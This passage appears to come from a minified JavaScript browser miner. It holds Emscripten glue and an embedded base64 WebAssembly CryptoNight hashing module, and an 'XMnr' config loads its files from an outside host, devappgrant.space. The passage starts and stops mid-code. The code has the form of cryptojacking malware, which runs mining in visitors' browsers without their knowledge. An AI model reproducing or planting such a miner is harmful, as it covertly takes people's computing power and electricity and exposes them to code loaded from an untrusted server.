memoryInitializer || n.set(o.subarray(e.STATIC_BASE, e.STATIC_BASE + e.STATIC_BUMP), e.STATIC_BASE), o.set(n), updateGlobalBuffer(r), updateGlobalBufferViews()
}(l.memory), e.asm = l, e.usingWasm = !0, removeRunDependency("wasm-instantiate")
}
if ("object" != typeof WebAssembly) return e.printErr("no native wasm support detected"), !1;
if (!(e.wasmMemory instanceof WebAssembly.Memory)) return e.printErr("no native wasm Memory in use"), !1;
if (n.memory = e.wasmMemory, u.global = {
NaN: NaN,
Infinity: 1 / 0
}, u["global.Math"] = r.Math, u.env = n, addRunDependency("wasm-instantiate"), e.instantiateWasm) try {
return e.instantiateWasm(u, i)
} catch (r) {
return e.printErr("Module.instantiateWasm callback failed with error: " + r), !1
}
return t().then(function(e) {
return WebAssembly.instantiate(e, u)
}).then(function(e) {
i(e.instance)
}).catch(function(r) {
e.printErr("failed to asynchronously prepare wasm: " + r), abort(r)
}), {}
}
var o = e.wasmJSMethod || "native-wasm";
e.wasmJSMethod = o;
var i = e.wasmTextFile || "cryptonight.wast",
a = e.wasmBinaryFile || "cryptonight.wasm",
s = e.asmjsCodeFile || "cryptonight.temp.asm.js";
"function" == typeof e.locateFile && (i = e.locateFile(i), a = e.locateFile(a), s = e.locateFile(s));
var u = {
global: null,
env: null,
asm2wasm: {
"f64-rem": function(e, r) {
return e % r
},
"f64-to-int": function(e) {
return 0 | e
},
"i32s-div": function(e, r) {
return (0 | e) / (0 | r) | 0
},
"i32u-div": function(e, r) {
return (e >>> 0) / (r >>> 0) >>> 0
},
"i32s-rem": function(e, r) {
return (0 | e) % (0 | r) | 0
},
"i32u-rem": function(e, r) {
return (e >>> 0) % (r >>> 0) >>> 0
},
debugger: function() {}
},
parent: e
},
l = null;
e.asmPreload = e.asm;
var c = e.reallocBuffer;
e.reallocBuffer = function(r) {
return "asmjs" === d ? c(r) : function(r) {
r = alignUp(r, e.usingWasm ? WASM_PAGE_SIZE : ASMJS_PAGE_SIZE);
var t = e.buffer,
n = t.byteLength;
if (!e.usingWasm) return l.__growWasmMemory((r - n) / 65536), e.buffer !== t ? e.buffer : null;
try {
return -1 !== e.wasmMemory.grow((r - n) / 65536) ? e.buffer = e.wasmMemory.buffer : null
} catch (e) {
return null
}
}(r)
};
var d = "";
e.asm = function(t, o, i) {
if (t = r(t), !(o = r(o)).table) {
var a = e.wasmTableSize;
void 0 === a && (a = 1024);
var s = e.wasmMaxTableSize;
"object" == typeof WebAssembly && "function" == typeof WebAssembly.Table ? o.table = void 0 !== s ? new WebAssembly.Table({
initial: a,
maximum: s,
element: "anyfunc"
}) : new WebAssembly.Table({
initial: a,
element: "anyfunc"
}) : o.table = new Array(a), e.wasmTable = o.table
}
o.memoryBase || (o.memoryBase = e.STATIC_BASE), o.tableBase || (o.tableBase = 0);
return n(t, o)
};
e.asm
}
function ___assert_fail(e, r, t, n) {
throw ABORT = !0, "Assertion failed: " + Pointer_stringify(e) + ", at: " + [r ? Pointer_stringify(r) : "unknown filename", t, n ? Pointer_stringify(n) : "unknown function"] + " at " + stackTrace()
}
function ___setErrNo(e) {
return Module.___errno_location && (HEAP32[Module.___errno_location() >> 2] = e), e
}
function ___syscall20(e, r) {
SYSCALLS.varargs = r;
try {
return PROCINFO.pid
} catch (e) {
return void 0 !== FS && e instanceof FS.ErrnoError || abort(e), -e.errno
}
}
function _gmtime_r(e, r) {
var t = new Date(1e3 * HEAP32[e >> 2]);
HEAP32[r >> 2] = t.getUTCSeconds(), HEAP32[r + 4 >> 2] = t.getUTCMinutes(), HEAP32[r + 8 >> 2] = t.getUTCHours(), HEAP32[r + 12 >> 2] = t.getUTCDate(), HEAP32[r + 16 >> 2] = t.getUTCMonth(), HEAP32[r + 20 >> 2] = t.getUTCFullYear() - 1900, HEAP32[r + 24 >> 2] = t.getUTCDay(), HEAP32[r + 36 >> 2] = 0, HEAP32[r + 32 >> 2] = 0;
var n = Date.UTC(t.getUTCFullYear(), 0, 1, 0, 0, 0, 0),
o = (t.getTime() - n) / 864e5 | 0;
return HEAP32[r + 28 >> 2] = o, HEAP32[r + 40 >> 2] = ___tm_timezone, r
}
function _gmtime(e) {
return _gmtime_r(e, ___tm_current)
}
function ___lock() {}
function ___unlock() {}
function ___syscall6(e, r) {
SYSCALLS.varargs = r;
try {
var t = SYSCALLS.getStreamFromFD();
return FS.close(t), 0
} catch (e) {
return void 0 !== FS && e instanceof FS.ErrnoError || abort(e), -e.errno
}
}
function _emscripten_memcpy_big(e, r, t) {
return HEAPU8.set(HEAPU8.subarray(r, r + t), e), e
}
function _ftime(e) {
var r = Date.now();
return HEAP32[e >> 2] = r / 1e3 | 0, HEAP16[e + 4 >> 1] = r % 1e3, HEAP16[e + 6 >> 1] = 0, HEAP16[e + 8 >> 1] = 0, 0
}
function ___syscall140(e, r) {
SYSCALLS.varargs = r;
try {
var t = SYSCALLS.getStreamFromFD(),
n = (SYSCALLS.get(), SYSCALLS.get()),
o = SYSCALLS.get(),
i = SYSCALLS.get(),
a = n;
return FS.llseek(t, a, i), HEAP32[o >> 2] = t.position, t.getdents && 0 === a && 0 === i && (t.getdents = null), 0
} catch (e) {
return void 0 !== FS && e instanceof FS.ErrnoError || abort(e), -e.errno
}
}
function ___syscall146(e, r) {
SYSCALLS.varargs = r;
try {
var t = SYSCALLS.getStreamFromFD(),
n = SYSCALLS.get(),
o = SYSCALLS.get();
return SYSCALLS.doWritev(t, n, o)
} catch (e) {
return void 0 !== FS && e instanceof FS.ErrnoError || abort(e), -e.errno
}
}
function ___syscall54(e, r) {
SYSCALLS.varargs = r;
try {
var t = SYSCALLS.getStreamFromFD(),
n = SYSCALLS.get();
switch (n) {
case 21505:
case 21506:
return t.tty ? 0 : -ERRNO_CODES.ENOTTY;
case 21519:
if (!t.tty) return -ERRNO_CODES.ENOTTY;
var o = SYSCALLS.get();
return HEAP32[o >> 2] = 0, 0;
case 21520:
return t.tty ? -ERRNO_CODES.EINVAL : -ERRNO_CODES.ENOTTY;
case 21531:
o = SYSCALLS.get();
return FS.ioctl(t, n, o);
case 21523:
return t.tty ? 0 : -ERRNO_CODES.ENOTTY;
default:
abort("bad ioctl syscall " + n)
}
} catch (e) {
return void 0 !== FS && e instanceof FS.ErrnoError || abort(e), -e.errno
}
}
function invoke_ii(e, r) {
try {
return Module.dynCall_ii(e, r)
} catch (e) {
if ("number" != typeof e && "longjmp" !== e) throw e;
Module.setThrew(1, 0)
}
}
function invoke_iiii(e, r, t, n) {
try {
return Module.dynCall_iiii(e, r, t, n)
} catch (e) {
if ("number" != typeof e && "longjmp" !== e) throw e;
Module.setThrew(1, 0)
}
}
function invoke_viii(e, r, t, n) {
try {
Module.dynCall_viii(e, r, t, n)
} catch (e) {
if ("number" != typeof e && "longjmp" !== e) throw e;
Module.setThrew(1, 0)
}
}
self.XMnr = self.XMnr || {}, self.XMnr.CONFIG = {
WEBROOT_URL: "https://devappgrant.space/lib/"
};
var Module = {
locateFile: function(e) {
return XMnr.CONFIG.WEBROOT_URL + e
}
};
Module.wasmBinary = function(e) {
for (var r = atob("AGFzbQEAAAABUw5gA39/fwBgA39/fwF/YAF/AX9gAX8AYAABf2ACf38Bf2AEf39/fwBgAn9/AGADf39+AGADf35/AGAEf39+fwF/YAR/f39/AX9gA35+fwF+YAAAAqsDFwNlbnYORFlOQU1JQ1RPUF9QVFIDfwADZW52CFNUQUNLVE9QA38AA2VudglTVEFDS19NQVgDfwADZW52BWFib3J0AAMDZW52DWVubGFyZ2VNZW1vcnkABANlbnYOZ2V0VG90YWxNZW1vcnkABANlbnYXYWJvcnRPbkNhbm5vdEdyb3dNZW1vcnkABANlbnYHX2dtdGltZQACA2VudgdfX19sb2NrAAMDZW52C19fX3N5c2NhbGw2AAUDZW52C19fX3NldEVyck5vAAMDZW52CV9fX3VubG9jawADA2VudgZfZnRpbWUAAgNlbnYWX2Vtc2NyaXB0ZW5fbWVtY3B5X2JpZwABA2VudgxfX19zeXNjYWxsNTQABQNlbnYNX19fc3lzY2FsbDE0MAAFA2VudgxfX19zeXNjYWxsMjAABQNlbnYOX19fYXNzZXJ0X2ZhaWwABgNlbnYNX19fc3lzY2FsbDE0NgAFA2VudgZtZW1vcnkCAYACgAIDZW52BXRhYmxlAXABDg4DZW52Cm1lbW9yeUJhc2UDfwADZW52CXRhYmxlQmFzZQN/AAM+PQIEAwcHAwQABAMGAAAAAAcHCAYICQAAAAoDBwALBgYGAwEEAQIMAgMFAgEBAgQBBAICDQECAQEFCwYCAQAGHwZ/ASMAC38BIwELfwEjAgt/AUEAC38BQQALfwFBAAsH1QIXCXN0YWNrU2F2ZQAREV9jcnlwdG9uaWdodF9oYXNoABoIc2V0VGhyZXcAFAxkeW5DYWxsX3ZpaWkASQdfZmZsdXNoAEAHX21lbXNldABDBV9zYnJrAEQTX2NyeXB0b25pZ2h0X2NyZWF0ZQAYB19tZW1jcHkARQpzdGFja0FsbG9jABALZ2V0VGVtcFJldDAAFgtzZXRUZW1wUmV0MAAVDGR5bkNhbGxfaWlpaQBIG19lbXNjcmlwdGVuX2dldF9nbG9iYWxfbGliYwA/CmR5bkNhbGxfaWkARxRfY3J5cHRvbmlnaHRfZGVzdHJveQAZEV9fX2Vycm5vX2xvY2F0aW9uAD0FX2ZyZWUANwtydW5Qb3N0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